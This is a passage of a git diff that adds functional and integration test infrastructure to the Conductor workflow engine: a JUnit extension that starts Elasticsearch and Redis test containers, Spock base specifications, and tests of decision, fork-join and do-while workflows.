    Registered via META-INF/services for auto-detection. The infrastructure is started once per + * JVM and shared across all test classes. {@code SERVER_ROOT_URI} is set as a system property so + * that {@code io.conductor.e2e.util.ApiUtil} picks it up at class-load time. + */ +public class FunctionalInfraExtension + implements BeforeAllCallback, ExtensionContext.Store.CloseableResource { + + private static final Logger log = LoggerFactory.getLogger(FunctionalInfraExtension.class); + private static final String STORE_KEY = "functional-infra"; + + private static volatile boolean started = false; + private static ConfigurableApplicationContext springContext; + + private static final ElasticsearchContainer esContainer = + new ElasticsearchContainer( + DockerImageName.parse("elasticsearch").withTag("7.17.11")) + .withExposedPorts(9200, 9300) + .withEnv("xpack.security.enabled", "false") + .withEnv("discovery.type", "single-node"); + + @SuppressWarnings("resource") + private static final GenericContainer redisContainer = + new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379); + + @Override + public synchronized void beforeAll(ExtensionContext context) throws Exception { + if (!started) { + // Register for cleanup when JUnit is done + context.getRoot() + .getStore(ExtensionContext.Namespace.GLOBAL) + .put(STORE_KEY, this); + + startContainers(); + startConductorServer(); + started = true; + } + } + + private void startContainers() { + esContainer.start(); + redisContainer.start(); + log.info( + "Functional test containers started — ES: {}, Redis port: {}", + esContainer.getHttpHostAddress(), + redisContainer.getFirstMappedPort()); + + // Set connection properties for Spring Boot to pick up + System.setProperty( + "conductor.elasticsearch.url", + "http://" + esContainer.getHttpHostAddress()); + System.setProperty( + "conductor.redis.hosts", + "localhost:" + redisContainer.getFirstMappedPort() + ":us-east-1c"); + System.setProperty( + "conductor.redis-lock.serverAddress", + "redis://localhost:" + redisContainer.getFirstMappedPort()); + } + + private void startConductorServer() { + SpringApplication app = new SpringApplication(ConductorTestApp.class); + app.setAdditionalProfiles("functionaltest"); + springContext = app.run("--server.port=0"); + + int port = + springContext + .getEnvironment() + .getProperty("local.server.port", Integer.class, 0); + String serverUrl = "http://localhost:" + port; + System.setProperty("SERVER_ROOT_URI", serverUrl); + log.info("Conductor server started at {}", serverUrl); + } + + @Override + public void close() throws Throwable { + if (springContext != null) { + log.info("Shutting down embedded Conductor server"); + springContext.close(); + } + } +} diff --git a/test-harness/src/functionalTest/resources/META-INF/services/org.junit.jupiter.api.extension.Extension b/test-harness/src/functionalTest/resources/META-INF/services/org.junit.jupiter.api.extension.Extension new file mode 100644 index 0000000..9199f26 --- /dev/null +++ b/test-harness/src/functionalTest/resources/META-INF/services/org.junit.jupiter.api.extension.Extension @@ -0,0 +1 @@ +com.netflix.conductor.test.functional.FunctionalInfraExtension diff --git a/test-harness/src/functionalTest/resources/junit-platform.properties b/test-harness/src/functionalTest/resources/junit-platform.properties new file mode 100644 index 0000000..6efc0d5 --- /dev/null +++ b/test-harness/src/functionalTest/resources/junit-platform.properties @@ -0,0 +1 @@ +junit.jupiter.extensions.autodetection.enabled=true diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy new file mode 100644 index 0000000..4c0f4ff --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractResiliencySpecification.groovy @@ -0,0 +1,29 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.base + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.test.context.TestPropertySource + +import com.netflix.conductor.dao.QueueDAO + +@TestPropertySource(properties = [ + "conductor.system-task-workers.enabled=false", + "conductor.integ-test.queue-spy.enabled=true", + "conductor.queue.type=xxx" +]) +abstract class AbstractResiliencySpecification extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy new file mode 100644 index 0000000..348f21d --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/base/AbstractSpecification.groovy @@ -0,0 +1,123 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.base + +import org.conductoross.conductor.core.execution.WorkflowSweeper +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.boot.test.context.SpringBootTest +import org.springframework.test.context.DynamicPropertyRegistry +import org.springframework.test.context.DynamicPropertySource +import org.springframework.test.context.TestPropertySource +import org.testcontainers.containers.GenericContainer +import org.testcontainers.utility.DockerImageName + +import com.netflix.conductor.ConductorTestApp +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.core.execution.AsyncSystemTaskExecutor +import com.netflix.conductor.core.execution.StartWorkflowInput +import com.netflix.conductor.core.execution.WorkflowExecutor +import com.netflix.conductor.service.ExecutionService +import com.netflix.conductor.service.MetadataService +import com.netflix.conductor.test.util.WorkflowTestUtil + +import spock.lang.Specification +import spock.util.concurrent.PollingConditions + +@SpringBootTest(classes = ConductorTestApp.class) +@TestPropertySource(locations = "classpath:application-integrationtest.properties",properties = [ + "conductor.db.type=redis_standalone", + "conductor.app.sweeperThreadCount=1", + "conductor.app.sweeper.sweepBatchSize=1", + "conductor.app.sweeper.queuePopTimeout=750", + "conductor.queue.type=redis_standalone" +]) +abstract class AbstractSpecification extends Specification { + + private static redis + + static { + redis = new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379) + redis.start() + } + + @Autowired + ExecutionService workflowExecutionService + + @Autowired + MetadataService metadataService + + @Autowired + WorkflowExecutor workflowExecutor + + @Autowired + WorkflowTestUtil workflowTestUtil + + @Autowired + WorkflowSweeper workflowSweeper + + @Autowired + AsyncSystemTaskExecutor asyncSystemTaskExecutor + + def conditions = new PollingConditions(timeout: 10) + + @DynamicPropertySource + static void dynamicProperties(DynamicPropertyRegistry registry) { + registry.add("conductor.db.type", () -> "redis_standalone") + registry.add("conductor.redis.availability-zone", () -> "us-east-1c") + registry.add("conductor.redis.data-center-region", () -> "us-east-1") + registry.add("conductor.redis.workflow-namespace-prefix", () -> "integration-test") + registry.add("conductor.redis.availability-zone", () -> "us-east-1c") + registry.add("conductor.redis.queue-namespace-prefix", () -> "integtest"); + registry.add("conductor.redis.hosts", () -> "localhost:${redis.getFirstMappedPort()}:us-east-1c") + registry.add("conductor.redis-lock.serverAddress", () -> String.format("redis://localhost:${redis.getFirstMappedPort()}")) + registry.add("conductor.queue.type", () -> "redis_standalone") + registry.add("conductor.db.type", () -> "redis_standalone") + } + + def cleanup() { + workflowTestUtil.clearWorkflows() + } + + void sweep(String workflowId) { + workflowSweeper.sweep(workflowId) + } + + protected String startWorkflow(String name, Integer version, String correlationId, Map workflowInput, String workflowInputPath) { + StartWorkflowInput input = new StartWorkflowInput(name: name, version: version, correlationId: correlationId, workflowInput: workflowInput, externalInputPayloadStoragePath: workflowInputPath) + + workflowExecutor.startWorkflow(input) + } + + StartWorkflowInput startWorkflowInput(String name, + Integer version, + String correlationId = '', + Map input = [:]) { + def swi = new StartWorkflowInput() + swi.name = name + swi.version = version + swi.correlationId = correlationId + swi.workflowInput = input + return swi + } + + StartWorkflowInput startWorkflowInput(WorkflowDef wfDef, + String correlationId = '', + Map input = [:]) { + def swi = new StartWorkflowInput() + swi.workflowDefinition = wfDef + swi.correlationId = correlationId + swi.workflowInput = input + return swi + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DecisionTaskSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DecisionTaskSpec.groovy new file mode 100644 index 0000000..158059b --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DecisionTaskSpec.groovy @@ -0,0 +1,365 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared +import spock.lang.Unroll + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class DecisionTaskSpec extends AbstractSpecification { + + @Autowired + Join joinTask + + @Shared + def DECISION_WF = "DecisionWorkflow" + + @Shared + def FORK_JOIN_DECISION_WF = "ForkConditionalTest" + + @Shared + def COND_TASK_WF = "ConditionalTaskWF" + + def setup() { + //initialization code for each feature + workflowTestUtil.registerWorkflows('simple_decision_task_integration_test.json', + 'decision_and_fork_join_integration_test.json', + 'conditional_task_workflow_integration_test.json') + } + + def "Test simple decision workflow"() { + given: "Workflow an input of a workflow with decision task" + Map input = new HashMap() + input['param1'] = 'p1' + input['param2'] = 'p2' + input['case'] = 'c' + + when: "A decision workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(DECISION_WF, 1, + 'decision_workflow', input, + null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DECISION' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_1' is polled and completed" + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + + and: "verify that the 'integration_task_1' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'DECISION' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_1' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_2' is polled and completed" + def polledAndCompletedTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2Try1) + + and: "verify that the 'integration_task_2' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_20' + tasks[3].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_20' is polled and completed" + def polledAndCompletedTask20Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_20', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask20Try1) + + and: "verify that the 'integration_task_20' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[3].taskType == 'integration_task_20' + tasks[3].status == Task.Status.COMPLETED + } + } + + def "Test a workflow that has a decision task that leads to a fork join"() { + given: "Workflow an input of a workflow with decision task" + Map input = new HashMap() + input['param1'] = 'p1' + input['param2'] = 'p2' + input['case'] = 'c' + + when: "A decision workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(FORK_JOIN_DECISION_WF, 1, + 'decision_forkjoin', input, + null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 5 + tasks[0].taskType == 'FORK' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'integration_task_1' + tasks[2].status == Task.Status.SCHEDULED + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.SCHEDULED + tasks[4].taskType == 'JOIN' + tasks[4].status == Task.Status.IN_PROGRESS + } + + when: "the tasks 'integration_task_1' and 'integration_task_10' are polled and completed" + def joinTaskId = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName("joinTask").taskId + def polledAndCompletedTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + def polledAndCompletedTask10Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_10', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1Try1) + verifyPolledAndAcknowledgedTask(polledAndCompletedTask10Try1) + + and: "verify that the 'integration_task_1' and 'integration_task_10' are COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[2].taskType == 'integration_task_1' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_10' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['t20', 't10'] + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_2' is polled and completed" + def polledAndCompletedTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2Try1) + + and: "verify that the 'integration_task_2' is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['t20', 't10'] + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_20' + tasks[6].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_20' is polled and completed" + def polledAndCompletedTask20Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_20', 'task1.integration.worker') + + and: "the workflow is evaluated" + sweep(workflowInstanceId) + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask20Try1) + + when: "JOIN task is polled and executed" + asyncSystemTaskExecutor.execute(joinTask, joinTaskId) + + then: "verify that JOIN is COMPLETED and the workflow has progressed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 7 + tasks[4].taskType == 'JOIN' + tasks[4].inputData['joinOn'] == ['t20', 't10'] + tasks[4].status == Task.Status.COMPLETED + tasks[6].taskType == 'integration_task_20' + tasks[6].status == Task.Status.COMPLETED + } + } + + def "Test default case condition execution of a conditional workflow"() { + given: "input for a workflow to ensure that the default case is executed" + Map input = new HashMap() + input['param1'] = 'xxx' + input['param2'] = 'two' + + when: "A conditional workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(COND_TASK_WF, 1, + 'conditional_default', input, + null) + + then: "verify that the workflow is running and the default condition case was executed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DECISION' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['caseOutput'] == ['xxx'] + tasks[1].taskType == 'integration_task_10' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_10' is polled and completed" + def polledAndCompletedTask10Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_10', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask10Try1) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[1].taskType == 'integration_task_10' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'DECISION' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData['caseOutput'] == ['null'] + } + } + + @Unroll + def "Test case 'nested' and '#caseValue' condition execution of a conditional workflow"() { + given: "input for a workflow to ensure that the 'nested' and '#caseValue' decision tree is executed" + Map input = new HashMap() + input['param1'] = 'nested' + input['param2'] = caseValue + + when: "A conditional workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(COND_TASK_WF, 1, + workflowCorrelationId, input, + null) + + then: "verify that the workflow is running and the 'nested' and '#caseValue' condition case was executed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 3 + tasks[0].taskType == 'DECISION' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['caseOutput'] == ['nested'] + tasks[1].taskType == 'DECISION' + tasks[1].status == Task.Status.COMPLETED + tasks[1].outputData['caseOutput'] == [caseValue] + tasks[2].taskType == expectedTaskName + tasks[2].status == Task.Status.SCHEDULED + } + + when: "the task '#expectedTaskName' is polled and completed" + def polledAndCompletedTaskTry1 = workflowTestUtil.pollAndCompleteTask(expectedTaskName, 'task.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTaskTry1) + + and: + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[2].taskType == expectedTaskName + tasks[2].status == endTaskStatus + tasks[3].taskType == 'DECISION' + tasks[3].status == Task.Status.COMPLETED + tasks[3].outputData['caseOutput'] == ['null'] + } + + where: + caseValue | expectedTaskName | workflowCorrelationId || endTaskStatus + 'two' | 'integration_task_2' | 'conditional_nested_two' || Task.Status.COMPLETED + 'one' | 'integration_task_1' | 'conditional_nested_one' || Task.Status.COMPLETED + } + + def "Test 'three' case condition execution of a conditional workflow"() { + given: "input for a workflow to ensure that the default case is executed" + Map input = new HashMap() + input['param1'] = 'three' + input['param2'] = 'two' + input['finalCase'] = 'notify' + + when: "A conditional workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(COND_TASK_WF, 1, + 'conditional_three', input, + null) + + then: "verify that the workflow is running and the 'three' condition case was executed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'DECISION' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['caseOutput'] == ['three'] + tasks[1].taskType == 'integration_task_3' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_3' is polled and completed" + def polledAndCompletedTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask3Try1) + + and: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[1].taskType == 'integration_task_3' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'DECISION' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData['caseOutput'] == ['notify'] + tasks[3].taskType == 'integration_task_4' + tasks[3].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_4' is polled and completed" + def polledAndCompletedTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask4Try1) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[1].taskType == 'integration_task_3' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'DECISION' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData['caseOutput'] == ['notify'] + tasks[3].taskType == 'integration_task_4' + tasks[3].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DoWhileSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DoWhileSpec.groovy new file mode 100644 index 0000000..f42049e --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/DoWhileSpec.groovy @@ -0,0 +1,1314 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.common.utils.TaskUtils +import com.netflix.conductor.core.execution.tasks.Join +import com.netflix.conductor.core.execution.tasks.SubWorkflow +import com.netflix.conductor.test.base.AbstractSpecification + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class DoWhileSpec extends AbstractSpecification { + + @Autowired + Join joinTask + + @Autowired + SubWorkflow subWorkflowTask + + def setup() { + workflowTestUtil.registerWorkflows('do_while_integration_test.json', + 'do_while_multiple_integration_test.json', + 'do_while_as_subtask_integration_test.json', + 'simple_one_task_sub_workflow_integration_test.json', + 'do_while_iteration_fix_test.json', + 'do_while_sub_workflow_integration_test.json', + 'do_while_five_loop_over_integration_test.json', + 'do_while_system_tasks.json', + 'do_while_with_decision_task.json', + 'do_while_set_variable_fix.json', + 'do_while_high_iteration_test.json') + } + + def "Test workflow with 2 iterations of five tasks"() { + given: "Number of iterations of the loop is set to 1" + def workflowInput = new HashMap() + workflowInput['loop'] = 2 + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("do_while_five_loop_over_integration_test", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[1].iteration == 1 + tasks[2].taskType == 'JSON_JQ_TRANSFORM' + tasks[2].status == Task.Status.COMPLETED + tasks[2].iteration == 1 + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.SCHEDULED + tasks[3].iteration == 1 + } + + when: "Polling and completing first task" + Tuple polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 6 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'JSON_JQ_TRANSFORM' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JSON_JQ_TRANSFORM' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.SCHEDULED + } + + when: "Polling and completing second task" + Tuple polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + verifyTaskIteration(polledAndCompletedTask2[0] as Task, 1) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 9 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.IN_PROGRESS + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'JSON_JQ_TRANSFORM' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JSON_JQ_TRANSFORM' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'LAMBDA' + tasks[6].status == Task.Status.COMPLETED + tasks[6].iteration == 2 + tasks[7].taskType == 'JSON_JQ_TRANSFORM' + tasks[7].status == Task.Status.COMPLETED + tasks[7].iteration == 2 + tasks[8].taskType == 'integration_task_1' + tasks[8].status == Task.Status.SCHEDULED + tasks[8].iteration == 2 + } + + when: "Polling and completing first task" + polledAndCompletedTask1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in running state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask1) + verifyTaskIteration(polledAndCompletedTask1[0] as Task, 2) + + when: "Polling and completing second task" + polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + verifyTaskIteration(polledAndCompletedTask2[0] as Task, 2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 12 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'JSON_JQ_TRANSFORM' + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_1' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == 'JSON_JQ_TRANSFORM' + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == 'LAMBDA' + tasks[6].status == Task.Status.COMPLETED + tasks[6].iteration == 2 + tasks[7].taskType == 'JSON_JQ_TRANSFORM' + tasks[7].status == Task.Status.COMPLETED + tasks[7].iteration == 2 + tasks[8].taskType == 'integration_task_1' + tasks[8].status == Task.Status.COMPLETED + tasks[8].iteration == 2 + tasks[9].taskType == 'JSON_JQ_TRANSFORM' + tasks[9].status == Task.Status.COMPLETED + tasks[9].iteration == 2 + tasks[10].taskType == 'integration_task_2' + tasks[10].status == Task.Status.COMPLETED + tasks[10].iteration == 2 + tasks[11].taskType == 'integration_task_3' + tasks[11].status == Task.Status.SCHEDULED + tasks[11].iteration == 0 // this is outside DO_WHILE + } + + when: "Polling and completing last task" + polledAndCompletedTask2 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'integration.test.worker') + + then: "Verify that the task was polled and acknowledged and workflow is in completed state" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask2) + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 12 + tasks[11].taskType == 'integration_task_3' + tasks[11].status == Task.Status.COMPLETED + tasks[11].iteration == 0 + } + } + + def "Test workflow with 2 iterations of 3 system tasks"() { + given: "Number of iterations of the loop is set to 1" + def workflowInput = new HashMap() + workflowInput['loop'] = 2 + + when: "A do_while workflow is started" + def workflowInstanceId = startWorkflow("do_while_system_tasks", 1, "looptest", workflowInput, null) + + then: "Verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 8 + tasks[0].taskType == 'DO_WHILE' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'LAMBDA' + tasks[1].status == Task.Status.COMPLETED + tasks[1].iteration == 1 + tasks[2].taskType == 'JSON_JQ_TRANSFORM' + tasks[2].status == Task.Status.COMPLETED + tasks[2].iteration == 1 